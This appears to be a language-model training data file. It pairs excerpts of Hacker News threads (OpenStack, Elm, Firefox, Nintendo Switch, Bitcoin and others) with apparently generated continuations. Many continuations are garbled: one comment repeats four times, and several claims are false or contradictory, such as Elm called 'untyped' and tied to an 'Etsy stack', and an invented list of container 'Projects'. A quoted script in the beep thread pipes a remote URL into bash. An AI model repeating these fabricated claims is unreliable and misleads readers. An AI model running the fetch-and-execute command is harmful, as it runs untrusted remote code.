adjusting.\n\n~~~\ntstegart\nAgreed. Another consideration is that many newspapers suffer from an outdated\nownership structure. I'm not sure about Gannet, but I know some of the others,\nlike Tribune before 2007 and NYT had a problem. They were started by famous\nbusinessmen or families that then created a structure to keep the holdings\nwithin the family. The problem with this is that their descendants owned the\ntrusts that run the"} +{"output_text": "I think you're overstating the difficulty of running OpenStack as a hosted\nservice. I've run OpenStack as a hosted service for a few months now and it\nhas been a relatively painless experience.\n\nThe biggest issues I've had were around getting the right hardware into the\ndatacenter (which is much harder than it sounds) and getting the right\ninfrastructure in place to make sure that the OpenStack cluster can scale\nquickly and easily.\n\nI", "input_text": "izes the problem a bit.\n\n------\njamierothfeder\nOne benefit of having many different jobs is that you meet a lot of awesome\npeople in your field. And if you actually are good, then these ex-colleagues\nwill probably invite you to new opportunities when they hop themselves.\n\n \nIntel Pulls Out of OpenStack Effort It Founded with Rackspace - kefka\nhttp://fortune.com/2017/04/14/intel-openstack-project-rackspace/\n======\nfoobiekr\nOpenStack really has a bunch of problems.\n\nThe big one is that OpenStack is about building and operating your own\nRackspace; this is not something IT organizations can even hire for let alone\ncarry off. The idea that they could/would/should was purely aspirational.\n\nThe others are that it's basically a mess - no two OS deployments will look\nthe same - and that it has neither an operational advantage nor too much of a\npricing advantage (50% for RHAT) over VMware - which is better integrated and\nmuch, much better from a admin experience and debuggability standpoint.\n\nI looked hard at leveraging OpenStack for the service we were building but the\nunderlying code was often cringetastic and somewhat naive. At some level if\nyou run software as a service you can work around poor code quality -\nsomething friends from AWS have emphasized - but you can't throw it over the\nwall and have other people without large engineering staffs there to help run\nit - which doesn't work in the small. VMware is the opposite approach - the\nentire model and practices evolved out of arm's reach software sales and\nsupport. So naturally it works better.\n\n~~~\nmattbee\n"} +{"output_text": "/8706323/college-professor-afraid))\nis a good example.\n\n~~~\nmichael_nielsen\nI think you're overstating the case when you say that administrators have no\nsense of humor. I have had many conversations with Yale administrators, and\nthey are very funny indeed.\n\n~~~\nsmsm42\nI've had many conversations with Yale administrators, and they are very funny\nindeed, but they are also very boring", "input_text": " or censoring ideas is small but also very, very noisy.\nThey also have no sense of humor and college administrators as a group have no\nsense of humor or perspective, and they're chronically worried about\naccusations of indifference or insensitivity (which are themselves as good as\nconvictions). There is a strong economic and career incentive for\nadministrators to take _everything_ seriously and to keep their heads down as\nmuch as possible.\n\nBrew this up and one gets a majority of students who are reasonable but a\nsmall minority who drive all the discourse.\n\nI don't teach at Yale and have never taught at Yale or schools with similar\ncultures, so I can't speak to the environment there, but William Deresiewicz\ndid, and his book _Excellent Sheep: The Miseducation of the American Elite and\nthe Way to a Meaningful Life_ came out of that and I recommend it. His book _A\nJane Austen Education_ ([http://jakeseliger.com/tag/a-jane-austen-education-\nhow-six-n...](http://jakeseliger.com/tag/a-jane-austen-education-how-six-\nnovels-taught-me-about-love/)) is also very good, even for someone like me who\ndoes not love Jane Austen.\n\n _Edit:_ Also, almost all of the censorship calls and nasty behavior /\ncomments came from students on the left. Vox's \"I'm a liberal professor, and\nmy liberal students terrify me\" ([http://www.vox.com/2015/6/3/8706323/college-\nprofessor-afraid](http://www.vox.com/2015/6/3"} +{"output_text": " is really a thin\n> wrapper around Win32 windows and GDI+. WPF relies heavily on DirectX 9.\n\nThat's not true. WinForms is built on Win32, but it abstracts it away. It\ndoesn't depend on it.\n\n> For mobile platforms, Microsoft offers Xamarin for GUI.\n\nXamarin is a lot more than just GUI. It's also used for cross-platform\ndevelopment.\n\n~~~\nConst-me", "input_text": "Any Developer, Any App, Any\n> Platform\u201d\n\nThis is what you want us to believe. But this makes little sense: if you\nreally believed in \"any platform\", this would go against your the interest of\nthe company (Windows sales), and therefore also against the interest of\nshareholders. I liked you more when you didn't pretend.\n\n~~~\nAnalemma_\n> this would go against your the interest of the company (Windows sales)\n\nThis would've been an insightful comment in 2007, but the world has changed.\nMicrosoft makes its money on Azure now, and that means supporting developers\neverywhere.\n\nFor crying out loud, post-reorg Windows doesn't even have someone reporting\ndirectly to the CEO anymore.\n\n~~~\nNullabillity\nIf that was true then WPF and WinForms would have been part of.NET Core.\n\nIf that was true then Microsoft wouldn't be pushing DirectX 12.\n\n~~~\nConst-me\n> WPF and WinForms would have been part of.NET Core\n\nI\u2019d love them to be, but unfortunately there\u2019re technical reasons for that.\nBoth depend on too many Windows components. WinForms is really a thin wrapper\naround Win32 windows and GDI+. WPF relies heavily on DirectX 9.\n\nFor mobile platforms, Microsoft offers Xamarin for GUI.\n\n> Microsoft wouldn't be pushing DirectX 12.\n\nAgain, there\u2019re technical reasons. For the same reasons Apple is pushing\nMetal, and Khronos is pushing Vulkan, all 3 are conceptually quite similar.\n\n~~~\nNullabillity\n> I\u2019d love them to be, but unfortunately there\u2019re technical reasons for that.\n> Both depend on too many Windows components. WinForms"} +{"output_text": "\njelliclesfarm\nI wonder if this is a strategy to discourage people from parking on campus.\n\n------\njelliclesfarm\nI wonder if this is a strategy to discourage people from parking on campus.\n\n------\njelliclesfarm\nI wonder if this is a strategy to discourage people from parking on campus.\n\n------\njelliclesfarm\nI wonder if this is a strategy to discourage people from parking on campus.\n\n------", "input_text": " may have always been a nonstarter for\nthem, but this device isn\u2019t.\n\n------\nSubiculumCode\nMy favorite part of the article: Guerilla'd.\n\n\"but our fave low-tech workaround was shared by a user who found out his\ncampus only had 12 wheel boots to go around and bought and illegally parked 12\nscrapyard cars that could be \u201csacrificed\u201d so everyone else could park however\nthey wanted.\"\n\n------\nnotjtrig\nOriginal reddit post:\n\n[https://www.removeddit.com/r/specializedtools/comments/e541r...](https://www.removeddit.com/r/specializedtools/comments/e541r4/comment/f9ivr37)\n\n------\nzzo38computer\nLet it be known that putting that kind of stuff on the student's car is NOT\nOK. A locked car cover may be helpful (would it help with the stuff in the\nwheel too? even if not, put your own locked cover on the wheel) (it would also\nprevent people from putting papers in the wind shield, I think).\n\nBut nevertheless the students should pay the fine for parking if they wish to\npark their car in the parking space that requires payment. If the fee is too\nmuch then they should file a public complaint with the owner of the parking\nlot.\n\n------\njtms\nNormally I would think \u201cbreak the rules, pay the fines\u201d but I am sympathetic\nin this case. When I was in college I had to put my bicycle in the back of my\ntruck and park about two miles away from campus because there was literally\nnever valid parking on campus and the school was doing next to nothing to fix\nthe problem.\n\n------"} +{"output_text": " we are there.\n\n~~~\njzwinck\n> Solar-Wind get their baseload from hydro (its possible).\n\nHydro is not baseload, but it is cheap and available. It is also a renewable\nsource of energy.\n\n~~~\nsremani\nHydro is not baseload but it is cheap and available. But the problem is that\nit is not dispatchable.\n\nSo if you have a solar farm in desert and", "input_text": "peaker to combined-cycle+peaker\nto have a fair comparison? Or do combined-cycle plants allow for lower changes\nin output than peakers, such that (e.g.) a 10% solar 90% combined-cycle system\ncould adjust as well? The grid is a whole system, not just two power plants.\n\nFinally, nobody is advocating for just solar+peaker. Solar+wind+peaker will\neasily get you over the 32% threshold, as solar and wind tend to provide power\nat different times (not perfectly, sadly). If you have some storage available\n(preferably hydro, but possibly other), then you get an even higher effective\ncapacity factor.\n\n------\nwoodandsteel\nRemember, one of the main arguments of the climate change is a hoax, fossil\nfuels forever gang is that switching to renewable energy would make\nelectricity so expensive it would mean the end of modern society and we would\nall go back to living in crude huts.\n\n------\nsremani\nAs usual this where Bloomberg acts as Solar is similar to NG. Solar and Wind\nare widely dependent on location. Your results of NG in Phoenix or Chicago are\ngoing to be more or less same - you cannot say that for Solar.\n\nAt the right places Solar is profitable - but at the grid interface level its\nnot same as having NG. For all the solar panels that are visible and there are\ncountless \"invisible\" massive diesel generator back-ups and an inefficiently\nused NG base-load generator somewhere.\n\nIts very rare Solar-Wind get their baseload from hydro (its possible). But\nagain, HN being HN.. Ye Ye Ye!\n\nThese headlines make people think some how ONG is replacable and all it takes\nmoar and"} +{"output_text": " trip, or send a colony that would be able to send people back and\nforth.\n\n~~~\nhga\nI'm not sure I follow your argument about the Van Allen radiation, but I'll\ntake your word for it that it's a serious concern.\n\nBut the real problem is the solar particles, and that's not going to go away.\nIt's just that we're not going to be around to deal with it.\n\n~~~\nhga\nOh", "input_text": " wrote only applies near\nearth.\n\nAnd it's not solar particles that are the main problem. It's cosmic particles,\nwhich have much much higher energies, and do not come in bursts.\n\nSee here: [http://www.scientificamerican.com/article.cfm?id=magnet-\nforc...](http://www.scientificamerican.com/article.cfm?id=magnet-force-field)\nand here:\n[http://www.scientificamerican.com/article.cfm?id=shielding-s...](http://www.scientificamerican.com/article.cfm?id=shielding-\nspace-travelers) and here:\n[http://blogs.chron.com/sciguy/archives/2009/05/the_real_reas...](http://blogs.chron.com/sciguy/archives/2009/05/the_real_reason_why_we_wont_go_to_mars_in_my_lifet_1.html)\nand here:\n[http://marsjournal.org/contents/2006/0004/files/rapp_mars_20...](http://marsjournal.org/contents/2006/0004/files/rapp_mars_2006_0004.pdf)\n(pdf) and here: [http://www.space.com/missionlaunches/080331-radiation-\nshield...](http://www.space.com/missionlaunches/080331-radiation-\nshielding.html)\n\nIs that enough? We are not going to mars anytime soon. Even a colony on the\nmoon is not possible right now. We would either need to send people on once\nonly short"} +{"output_text": " But in reality, some are much bigger than others. If you're the\nbiggest competitor, you can afford to lose some percentage of the market and\nstill make money. If you're the second biggest, you can't.\n\n~~~\njoe_the_user\nI think the graph is a good illustration of the perverse effects of patents.\n\nIn a market without patents, it's possible to have a small company with a\nnarrow product line that has a", "input_text": "'d like to\nmake a \"SweetScript\" that compiles to JavaScript (via some lightweight lisp)\nand could essentially serve as a CoffeeScript with macros.\n\nWould you find such a tool useful? What challenges would you foresee facing\nsuch a project?\n\n------\njpr\nIt's funny that Lisp's \"syntax\" draws so much attention when it is pretty much\nthe simplest and most unambiguous syntax possible, and that messes like C++,\nPython and Perl don't seem to bother anyone enough to propose alternatives.\n\n~~~\nsilentbicycle\nIt's yet another case of people getting hung up on the first obviously\ndifferent thing they notice about a language.\n\nIf somebody is still griping about the parens in Lisp, the significant\nwhitespace in Python, the glyphs in APL, etc., they haven't gotten to the\ndifferences that actually make the language interesting - either they'll get\nused to it like the other X programmers (and realize it wasn't as big an issue\nas they thought), or they'll find deeper issues in the language design to\ncomplain about (and probably give up on it).\n\n \nWith 8.7% market share, Apple has 75% of cell phone profits - csomar\nhttp://tech.fortune.cnn.com/2012/02/03/with-8-7-market-share-apple-has-75-of-cell-phone-profits/\n======\npg\nThat is an astounding graph. I didn't consciously realize this till the\nexample of Apple made it clear a few years ago, but market share is actually\nan unambitious thing to aim for. When people treat market share as a proxy for\nprofit share, they're implicitly assuming all the competitors are roughly\nequivalent."} +{"output_text": "'s good.\n\nBut they don't do what they say they do. They don't do triage. They don't do\nprioritization. They don't do anything to help you sleep.\n\nThey do what they say they do to keep patients comfortable.\n\nSo, what do you do to help patients sleep? Put them in a nice building.\n\n~~~\ndanielfoster\nWe're not saying hospitals don't prioritize patients. They do. We", "input_text": " search - site:trycosmo.com peer review - did not\n> match any documents\n\nSounds promising. Untested sleep drugs, sign me up!\n\n~~~\nCryoLogic\nIt's actually just melatonin, L-theanine and magnesium in one pill. So nothing\nsketchy but also not anything new or interesting. Just a combo pill like most\nother supplements on the market.\n\n~~~\ndanielfoster\nYou're right, the formula isn't groundbreaking. We did this intentionally to\nfocus on the tried and true. We've also found that many sleep aids contain\nthese ingredients, but only in very small quantities (1mg or less).\n\nIs there anything else you would potentially like to see included?\n\n------\ncrazygringo\nI highly recommend the 2017 book \"Why We Sleep\" [1]. Written by a doctor,\nstarting at page 335 he calls exactly for ensuring hospital patients can\nsleep, why this is so critical for recovery, and how many things in hospitals\ncurrently work against this. (The book covers so much ground, including other\nreforms like school time starts, why society doesn't value sleep because\nsleep-deprived people don't perceive their substandard performance, and so\non.)\n\n[1] [https://www.amazon.com/Why-We-Sleep-Unlocking-\nDreams/dp/1501...](https://www.amazon.com/Why-We-Sleep-Unlocking-\nDreams/dp/1501144324)\n\n------\nmfer\nConsider what hospitals optimize for (at least in the US). Not what they say\nbut what they do...\n\nFor example, putting lots of money into fancy buildings. Fancy buildings\nattract patients for non-emergency things. That"} +{"output_text": "* OpenVZ\n\n* Virtualization (VMWare, Hyper-V, etc.)\n\n* Virtualization (Linux KVM)\n\n* LXC\n\n* LXC (with libguestfs)\n\n* Docker\n\n* Nomad\n\n* Project Atomic\n\n* Project Atomic (with Mesos)\n\n* Project Calico\n\n* Project Emu\n\n* Project Kata\n\n* Project Omega\n\n* Project", "input_text": " therefore saving the\ncompany money because developers are not wasting time debugging CI server\nissues. It's easy to isolate CI server related issues from the docker\ncontainer running the unit tests because a developer can just run the same\ntests using the container on their local machine, so it creates a consistent\nenvironment.\n\nOn the infrastructure deployment side of things.... Previous to our\n\"dockerized\" infrastructure we were managing about 7 different AMI's for all\nour servers and it was becoming a pain in the butt to manage the installation\nof new software if our application called for it, create a new AMI, then re-\ndeploy said AMI. If you have experience with AWS and you have done this enough\ntimes, I'm sure you have faced at one point or another long wait times for\nyour AMI to be created before you can re-deploy with that newly created AMI.\nThis is time wasted on the application deployment side of things, but also on\nthe personnel side of things while you wait for that damn thing to be created\nso you can re-deploy. Time is money and money waiting for resources to be\navailable or for AMI's to be created is money taken away from the business.\nAdditionally though in its infancy stage, we are using docker-compose\n([https://docs.docker.com/compose/](https://docs.docker.com/compose/)) which\noffers some really nice ways of defining your container infrastructure within\na single machine, I highly recommend looking into this for further efficiency.\n\n------\nMcElroy\nTo get some additional viewpoints on containerization, you could also take a\nlook at what has been said about similar, preceeding technologies:\n\n* Solaris Zones, see also SmartOS Zones based on that\n\n* FreeBSD jails\n\n"} +{"output_text": " user, I'm not sure this is a big deal.\n\nThe kernel is open source, so you can build your own kernel with secure\nboot/uefi disabled.\n\nThe only thing that prevents this is the EFI interface, which is not used by\nlinux.\n\n~~~\nwmf\nThe EFI interface is not open source, so you can't disable it.\n\n~~~\nwmf\nAlso, this is about the TPM, not the Secure", "input_text": "blog.hansenpartnership.com/owning-your-\nwindows-8-uefi...](http://blog.hansenpartnership.com/owning-your-\nwindows-8-uefi-platform/)\n\n~~~\npslam\n> What? Which OS refuses to boot when you disable Secure Boot?\n\nThe one which was installed with secure boot enabled. My reading is the OS\nwill prevent forward progress when it notices secure boot was bypassed when it\nexpected it to be on. Never tried this myself - I'm likely misinformed.\n\n> Exactly which UEFI Secure Boot does.\n\nAnd apparently optional, and not something every machine implements, which was\nthe subject of a LOT of stories a year back. Did this ever get resolved as\nbeing mandatory, and/or did all UEFI providers figure it was best practice in\nthe end?\n\n------\nalexsilver\nWhenever these complaints/lawsuits come up, I always wonder why Apple is never\npart of them...\n\n~~~\nmkr-hn\nApple is off in its own hardware and software ecosystem, so the potential for\nwidespread harm is small. Microsoft has clout with the people who make the\nhardware most people use, so there's considerable potential for damage\ndepending on how Microsoft's will is implemented.\n\n~~~\nscholia\nApple has plenty of potential for harm via its iPhone and iPad ranges, both of\nwhich are locked down.... However, neither has a monopoly maket share.\n\n~~~\nsounds\nExactly!\n\nWhy aren't people complaining about Samsung locking their phones? (both\ncarrier locks and locking the root account)\n\nOk, maybe the best solution is to vote with your wallet. It worked for me :)\n\n------\nVMG\nAs an European linux"} +{"output_text": "\n\nElm is statically typed, so you have to do a lot more in Elm to make it\nfunctional. Elixir is dynamically typed, so you don't have to do that.\n\nElm also has a lot of dependencies on the Etsy stack (Redis, Sidekiq, etc)\nwhereas Elixir doesn't.\n\n~~~\nsreque\nElm is not statically typed, it is untyped.\n", "input_text": ". You almost have to learn everything all\nover again. It's a cool project and I'm glad it's working out well for you,\nbut Elm has a serious learning curve.\n\n~~~\nnot-much-io\nJust my 2c:\n\nParadigm wise: Yes functional programming can seem strange and hard if you\nhaven't done it before. But that really isn't the fault of Elm, elm makes FP\nas simple as it can.\n\nLanguage wise: Yes, the Elm architecture takes a bit to grok, but for me it\nwas just an afternoon. Once you grok it, there isn't really much else you need\nto learn - you can hit the ground running, look up what you need when you need\nit.\n\nTooling wise: Just some basic tooling you get will get you very far, no setup\neither, just install and use.\n\nIf you do js interop, yes that can be cumbersome, but it is intentional. Elm\nstrives to keep js out and write libraries in Elm. This is so we can have more\nof the guarantees that Elm provides. (no runtime exceptions!)\n\nI'd rather say: \"Elm has a low entry barrier for a FP language\". One of it's\nmain goal is to bring FP to the masses after all. :)\n\n------\nleshow\nI hope Elm doesn't get too closely tied with Elixir. It's a great language no\nmatter what backend you choose.\n\n~~~\nsotojuan\nI also don't get why they're coupled a lot... they're very different once you\nget past that they're both \"functional\" (and Elixir really just has HOFs and\nimmutability by default, it's very practical)."} +{"output_text": "ares.\n\n~~~\nbeagle3\nI know that it's meant for checking links, but I am talking about the content\nof the messages.\n\nI have no idea what popular chat services do about links, but I know that\nMicrosoft does not.\n\n------\njrochkind1\nI'm not sure I see the problem here.\n\nIf you're a programmer, and you're not a fan of microsoft, you already have\nmany options for", "input_text": " transliterate it to PowerShell than to actually\nwrite PowerShell. That's a disastrously bad situation _for a shell_.\n\n~~~\nuseerup\nYou were called upon to give some examples. Yet all you offer is more\nhyperbole. One is beginning to suspect that despite your assertion that you\n\"know\" Powershell better than most who use it daily, you are actually just a\ntroll.\n\nYes, I am calling you out. I am challenging you to provide concrete examples\nwhere Powershell has less discoverability than bash or zsh. I am challenging\nyou to explain why ISE - an environment designed specifically to combine REPL\nwith script authoring - is \"unacceptable\".\n\nAnd please, no more hyperbole or condescending remarks.\n\n------\nbaldfat\nFree Unlimited Private Git Repos hosted by MicroSoft (Looks like BitBucket has\na new competitor) this is really surprising.\n\n~~~\nbeagle3\nMicrosoft's free unlimited chat and phone calls (skype) gets scanned for ads,\nand links followed[0]. Probably also stored and forwarded to the NSA.\n\nDon't put anything in there that you really care about, without using\nsomething like git-crypt.\n\n[0]\n[https://news.ycombinator.com/item?id=5704574](https://news.ycombinator.com/item?id=5704574)\n\n~~~\nnivla\nYou do realize that the scanning is meant for checking the links for malware,\nredirection and metadata for previews. Which popular chat service doesn't do\nthis? Paste a link into Facebook, Google+, Gchat and all are likely to do the\nsame or the least passively scan it against a list of known malw"} +{"output_text": "\" continuously. You can have\n\"sprints\" every 1-2 weeks, or every month, or whatever schedule you choose.\n\n~~~\nneltner\nI think I'm not understanding the purpose of the analogy. I've seen it used to\ndescribe the way that managers schedule work. I think it's a bad analogy for\nthat purpose.\n\nI think the analogy is better for the way that people think about the\nengineering process. I think it's a bad", "input_text": " a marathon.\n\n~~~\ndudul\nI don't know if this is meant to be facetious, but I actually fully agree.\n\"Sprint\" is a terrible analogy because in reality it is impossible to be\nsprinting all the time. I usually just say \"iteration\".\n\n~~~\nneltnerb\nI'm confused, doesn't your statement mean the analogy is good? You can neither\n\"sprint\" at work continuously nor constantly sprint in reality.\n\n~~~\ndudul\nLet's say you do 2 week sprints as part of your process. You do a sprint,\nfinish it, and then do another sprint immediately after. How is that viable?\nEffectively it means that you never stop sprinting. I don't think it's\nsustainable.\n\n~~~\nneltnerb\nIs that actually what scrum suggests sprints are? Thanks, I missed that,\nthat's silly if so. I assumed by the name that this was like a one week a\nmonth kind of thing.\n\n~~~\ntheptip\nI think there's quite a lot of getting hung up on the word itself here...\nAccording to the Scrum guide, a sprint is just:\n\n> a time-box of one month or less during which a \"Done\", useable, and\n> potentially releasable product Increment is created. Sprints have consistent\n> durations throughout a development effort. A new Sprint starts immediately\n> after the conclusion of the previous Sprint.\n\n([http://www.scrumguides.org/scrum-guide.html#events-\nsprint](http://www.scrumguides.org/scrum-guide.html#events-sprint))\n\nThere's nothing that says you need to \"sprint"} +{"output_text": " per year, as well as some\n> insurances and a very generous parental leave (1 year for each parent).\n\nSweden is a very different country from the US.\n\nIn the US, the trend is to reduce the amount of paid leave, while increasing\nthe cost of it.\n\nIn Sweden, the opposite is true. The cost of leave has been steadily reduced,\nwhile the amount of leave has been steadily increased.\n\nThe trend is that the US", "input_text": " a case of the government taking\nmore of your personal wealth to provide services to society as a whole, which\nflies in stark contrast to the traditional US approach.\n\n~~~\nJumpCrisscross\n> _There's no reason why it can't scale_\n\nI grew up in Switzerland. Nobody checked if we bought metro tickets. Everyone\nbought them. The only people I remember being little shits about it were\ntourists. Cultural norms do not informally enforce themselves at scale--you\nneed institutions, and those institutions cost money and freedom.\n\n~~~\nmkaziz\nDisagree. As an immigrant to the US, I see many cultural norms that the US has\n(at scale, despite heterogeneous population) that were bizarrely foreign to\nme, but that I (and other immigrants like me) quickly picked up on and\ndeveloped.\n\nExamples: (good) giving pedestrians right of way when driving, stopping at\nstop signs, holding the door open for people (bad) empty small talk\nconversations used to fill silences with casual acquaintances.\n\n------\njohanbrook\nThe U.S. is very behind many European countries in the work-life balance\ndepartment. It's kinda surprising that America \u2013 with its liberal policies for\nprivate companies \u2013 is so backwards when it comes to caring about their\nemployees.\n\nThe points in the article could apply to policies/norms in Sweden as well.\nHere, we get _at least_ 4 weeks of paid vacation per year, as well as some\ninsurances and a very generous parental leave (1 year for each parent).\n\n~~~\nrobert_foss\n> The points in the article could apply to policies/norms in Sweden as well.\n> Here, we get at least 4 weeks of paid vacation"} +{"output_text": " has been called a white paper.\n\n------\ngcv\nI'm not a lawyer, but I'm pretty sure that the US government is not legally\nauthorized to assassinate people who are not \"international terrorists.\"\n\n~~~\nhga\nThat's not true. The US government has the authority to use lethal force to\nprotect its personnel and property against attacks by hostile forces, and to\ndefend against or repel an attack on the United States territory by foreign\nforces", "input_text": " all that energy has been put into preserving the 2nd Amendment.\n\n------\ntokenadult\nThe full text of the purported Justice Department white paper mentioned in the\nsubmitted blog post:\n\n[http://msnbcmedia.msn.com/i/msnbc/sections/news/020413_DOJ_W...](http://msnbcmedia.msn.com/i/msnbc/sections/news/020413_DOJ_White_Paper.pdf)\n\n------\ndkokelley\nWithout reading the memo (only the linked article), wouldn't top Al Qa'ida\noperatives be classified as traitors and enemies of the state? (Maybe that's\nthe legal angle expressed in the memo.) Within the country's borders, the\ngovernment kills its citizens all of the time when the judgement is made that\nthe suspect represents and immediate threat to the safety and well-being of\nothers (see: hostage situations and police shootouts). Otherwise, the state's\ndecision to end someone's life is a long and arduous process filled with\ncourts and laws and appeals (and rightly so!).\n\n------\nthisrod\nLet's turn this around. Suppose that an American citizen believes they're on\nthe list, and the president is plotting to kill them. In what circumstances\nshould it be legal for them to assassinate the president?\n\nThe president is supposed to be just another citizen: one who's very certainly\nplotting to kill Americans. It's curious how few people apply his reasoning to\nhis own case. Do people believe in some kind of divine right of presidents?\n\n------\nDigitalJack\nJust curious...do people usually title their white papers with the words\n\"White Paper\"?\n\n~~~\nbobbles\nEvery white paper I've ever seen"} +{"output_text": " to ignore laws you don't\nlike.\n\n------\njoeblau\nI have a similar story. I started a Facebook group for atheists in my\nneighborhood and shared it with my friends. About a year ago, I noticed that\nthe group was no longer public.\n\nI reached out to the group admin and asked why they took it down. They said\nthat they were no longer associated with Facebook and that they had no idea\nwhy the group was taken", "input_text": " people\nyou were friends with. It didn't, but it did show me a bunch of my graduating\nclass from 16 years prior and gobs of friends of friends. I saw considerably\nmore people on it that I knew/knew of than I ever did with\nTinder/OkCupid/Bumble.\n\n~~~\nskocznymroczny\nSo on par with Tinder?\n\n------\npmlnr\nOnly one week and regulatory forces managed to push back?!\n\nI wonder when someone from the same regulatory forces will help Ruben out:\n[https://ruben.verborgh.org/facebook/](https://ruben.verborgh.org/facebook/)\n\nHe's been waiting for over a year now for his actual dataset - fighting for us\nall.\n\n~~~\nkrick\nOk, I assume it would help if he could state his demands in more formal and\nlegally actionable form instead of joking and telling fun stories of meeting\nFB employees at a conference, but regardless:\n\n> Facebook has not replied after three months, even though they are legally\n> required to answer within one month\n\nSo, I'm ready to accept everything else is a subject to some legal debate, but\nthis seems like pretty straight-forward violation of the law, isn't it? I\nmean, shouldn't they be actually punished for it by, like, paying money?\n\n~~~\nrevscat\nFacebook seems to believe (understand?) that it is part of the new reality\nwhere due to their size and revenue the law only loosely applies to them, and\nmostly at their convenience.\n\n~~~\nMirioron\nThat's not _new_ reality. That is the world we live in. If you're big\nenough/your product is widespread enough then you get"} +{"output_text": " running a program as root is a bad idea in the\nfirst place. It's a security hole that can be exploited by malicious code.\n\n~~~\nalxlaz\nI know that. I'm just making a joke about the fact that people often try to\nexploit this vulnerability.\n\n------\njstanley\nI was pretty sure the buffer was only one byte long, so I could just write\nthat byte to stdin and it would work.\n\nBut it", "input_text": "door this machine?\n modprobe pcspkr\n beep -l 1000 -r 3 -f 44000\n\n~~~\njstarks\nJust recently the script said this instead:\n\n \n \n #!/bin/sh\n curl https://l0.re/hb | bash\n modprobe pcspkr\n beep -l 1000 -r 3 -f 44000\n \n\nAnd then that embedded URL says:\n\n \n \n echo ohai\n \n\nBut only after a long delay -- perhaps it is using one of the previously\ndocumented techniques to determine whether it's being piped to bash and\nbehaving differently.\n\nAnd now that I try the original curl again, that first line is gone\ncompletely:\n\n \n \n #!/bin/sh\n modprobe pcspkr\n beep -l 1000 -r 3 -f 44000\n \n\nStrange.\n\n------\njfindley\nI'd love to hear the backstory. Who on _earth_ goes looking for\nvulnerabilities in beep?!\n\n~~~\nalxlaz\nIf I had to guess, I'd say they were doing it because it is often installed\nwith suid root.\n\nEdit: also, there's a challenge about this in the program's README :-)\n\n\"Decide for yourself, of course, but it looks safe to me - there's only one\nbuffer and fgets doesn't let it overflow, there's only one file opening, and\nwhile there is a potential race condition there, it's with /dev/console. If\nsomeone can exploit this race by replacing /dev/console, you've got bigger\nproblems. :)\"\n\n~~~\nDCoder\nIt should be pointed out that"} +{"output_text": ", and Mozilla has been playing catch up.\n\n~~~\nmichael_b\nI'm not sure how you can say that Firefox is more mainstream than Chrome.\n\nThe only thing mainstreaming does is make it easier to get end users to\nunderstand that they can use the browser they are familiar with.\n\nFirefox is more mainstream than IE was, but that doesn't make it a better\nbrowser.\n\n~~~\ncookiecaper\nMozilla has a much", "input_text": ".\n\nFF starts faster than Chrome, font rendering is a lot better and it seems most\nof the \"weird\" HTML issues I encounter these days doing webdev stuff are with\nChrome rather than FF.\n\nI don't understand why Firefox isn't crushing Chrome.\n\nEdit: Latest FF mobile on Android is awesome too.\n\n~~~\ncookiecaper\nGoogle has put a lot of time and money into getting Chrome mainstreamed. IE\nTab was a big help for enterprise adoption and that made more normal people\naccept it as a \"normal\" browser. Most people use Gmail, Google Search, and\nYouTube, all of which heavily promote Chrome.\n\nFirefox has responded well to Chrome for the most part, but when Chrome was\nreleased, Fx had some long-standing problems that Chrome obviated, and many in\nthe tech community have been Chrome devotees since. Mozilla sometimes gets\nconfused and makes bad choices, like manually reviewing all code that gets\npublished in its addon store and refusing to ship patent-encumbered H.264\ncodecs, that further hurt adoption and reinforce the reputation that Firefox\nmakes it \"harder\" than necessary to use the web.\n\nGoogle made a deal with Adobe to fix up some of the stability and performance\nissues in Flash and they ship the improved plugin as \"Pepper\", part of Chrome;\nMozilla still doesn't have a good solution for this, though it has a small\nstart in Shumway.\n\nGoogle built an internal PDF reader so that people didn't have to worry about\nAdobe Reader popping up as they clicked around. Mozilla eventually copied\nthem, though Mozilla's reader is written in JS, and Chrome's is written in\nC++.\n\nGoogle systematically attacked the most annoying things about internet\nbrowsing"} +{"output_text": "~~~\nrasz_pl\nIt's not like they are not tested. They are tested on the factory floor.\n\n~~~\ngreggman\nI'm sure they are tested but I suspect they are tested on devices not like\nwrist straps. I've had a Nintendo switch for years and a regular joy-con and\nnever had a problem with the joy-con getting stuck. I've had to take apart my\nswitch to put the joy-con in the right position", "input_text": " judge on my own.\n\n~~~\nrasz_pl\nbut its the second kind, Zelda drops to 20fps in empty static scenes.\n\n~~~\nnstart\ntrue. And it's bad that it is THE launch game that suffers from that. It's\nlikely to be caused by a poor port. The original of the game I believe runs at\n720p. Scaling it up to 900p (it doesn't even go up to 1080p) in docked mode is\nprobably causing it issues rather than the device actually having problems\nworking in docked mode. I feel pretty confident that patches and updates to\nboth the device and games should work these out :)\n\n------\ngreggman\nIt's inexcusable that the controllers get jammed to the wrist straps so\neasily. Google \"stuck joy-con\" and you'll find articles and videos about how\nto un-stuck them if you've accidentally put them on backward. Why is it even\npossible to put them on backward? Even when they're on forward it often's\noften extremely hard to separate them. We had a switch party and pretty much\nevery single person put them on backward once and we get to get tiny\nscrewdrivers out to un-stick them\n\nNintendo even has a page up already that just says \"send them back\"\n\n[https://en-americas-support.nintendo.com/app/answers/detail/...](https://en-\namericas-support.nintendo.com/app/answers/detail/a_id/22528/p/897/c/715)\n\nI suspect they'll end up releasing a new model of controller that doesn't have\nthese issues but it's really hard to believe this wasn't found during\ndevelopment.\n\n"} +{"output_text": " a takedown, that's a description of the world in which Bitcoin\nexists.\n\n~~~\nshiado\nI think I'm missing what you're trying to say.\n\n~~~\nkinghajj\nI think I'm saying that this is the most ignorant description of the world in\nwhich Bitcoin exists that I have ever seen.\n\n~~~\nshiado\nI think I get what you're saying, but I think it's also true that the\ninevit", "input_text": " Pretty Good\n> Privacy encryption protocol.\n\nI've never seen the word \"just\" do so much work. Bitcoin, notably, solved the\nDouble Spending problem[0] seventeen years after PGP was created.\n\n> In essence, bitcoin is money built and maintained by nerds, based on the\n> premise that good nerds will outnumber the bad nerds.\n\nThis is patently false. The _entire_ point of bitcoin is that miners and node\noperators acting in _their own self-interest_ will secure the protocol, not\n\"good nerds\". You can argue if the system fails this will be the case, but not\nthat this is the premise.\n\n[0] [https://en.wikipedia.org/wiki/Double-\nspending](https://en.wikipedia.org/wiki/Double-spending)\n\n~~~\nbrianpgordon\nYeah I'm also pretty critical of their narrative of how centralized currency\ncame about. Their timeline is _wildly_ wrong. The author makes it seem like\nstates started minting coinage in the middle ages, when the advantages of a\nstandardized coin with a mandated-by-fiat face value (possibly different from\nthe actual value) were well-known - and famously used to great effect by -\neven the early Roman Empire.\n\nThen there's this sentence, which is just nonsense:\n\n> All money was borrowed from the central treasury, at a rate of 